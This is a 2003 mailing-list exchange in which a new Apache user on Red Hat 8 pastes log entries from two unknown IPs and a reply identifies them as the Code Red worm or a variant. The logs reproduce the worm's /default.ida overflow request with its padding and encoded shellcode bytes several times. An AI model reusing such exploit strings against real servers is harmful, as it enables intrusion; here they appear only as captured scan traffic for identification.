Apache error/access logs

[Matt Luettgen]

IIRC thats the codered virus, maybe some variant of it. 

On Wed, 22 Jan 2003 23:54:40 -0600
"Minos" <xmin0s at hotmail.com> wrote:

> So last week I got my apache server up and going, on redhat 8. It
> still has the same junk install webpage, I have yet to put up a new
> one, however while going through my logs I noticed 2 ips that well,
> wernt mine. This is behind a Firewall so it had no biz being scanned I
> dunno, Just wondering if these are commen, or should I keep my eyes
> open? By the way, sorry about the html format if it comes that way,
> hotmail lets me change it, but then reformats it somewhere along the
> lines. thanx all
> Tim
> 
> 
> [Mon Jan 13 02:39:19 2003] [error] [client 210.201.195.221] Client
> sent malformed Host header
> [Mon Jan 13 04:17:57 2003] [error] [client 195.6.79.212] Client sent
> malformed Host header
> 
> 
> 210.201.195.221 - - [13/Jan/2003:02:39:19 -0600] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858
> %ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
> =a HTTP/1.0" 400 332
> 210.201.195.221 - - [13/Jan/2003:02:39:19 -0600] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858
> %ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
> =a HTTP/1.0" 400 332
> 195.6.79.212 - - [13/Jan/2003:04:17:56 -0600] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858
> %ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
> =a HTTP/1.0" 400 332
> 195.6.79.212 - - [13/Jan/2003:04:17:56 -0600] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858
> %ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
> =a HTTP/1.0" 400 332
> 
> 
> majordomo at kclug.org Enter without the quotes in body of message
> 
>